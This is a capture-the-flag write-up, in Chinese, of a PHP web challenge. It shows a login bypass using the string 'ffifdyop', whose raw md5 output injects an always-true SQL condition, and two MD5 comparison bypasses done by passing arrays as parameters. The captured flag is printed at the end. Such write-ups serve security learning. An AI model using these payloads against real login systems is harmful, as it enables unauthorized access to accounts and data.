题目就是一个很普通的表单,F12也看不到什么
随便填个数据抓包看一下
select * from 'admin' where password=md5($pass,true)
看来突破点是md5($pass, true)
md5($pass)
的意思是计算$pass
的MD5的值并返回十六进制格式,如果设置为true
,将以二进制的形式返回,这里存在一个漏洞
当$pass = ffifdyop
的时候,md5($pass,true) => 'or'6xxxxx
<?php
$a = 'ffifdyop';
echo md5($a);
echo "\n";
echo md5($a, true);
?>
输出结果:
这样会导致原本的查询语言会变成:
select * from 'admin' where password= ''or 1 //永真
输入ffifdyop
,登录成功
跳到这个页面
查看源代码:
<!--
$a = $GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.
-->
payload:?a[]=1&b[]=2
到达以下页面:
<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}
payload:param1[]=1¶m2[]=2
得到:flag{15332b95-2169-45b1-913a-063da23053ad}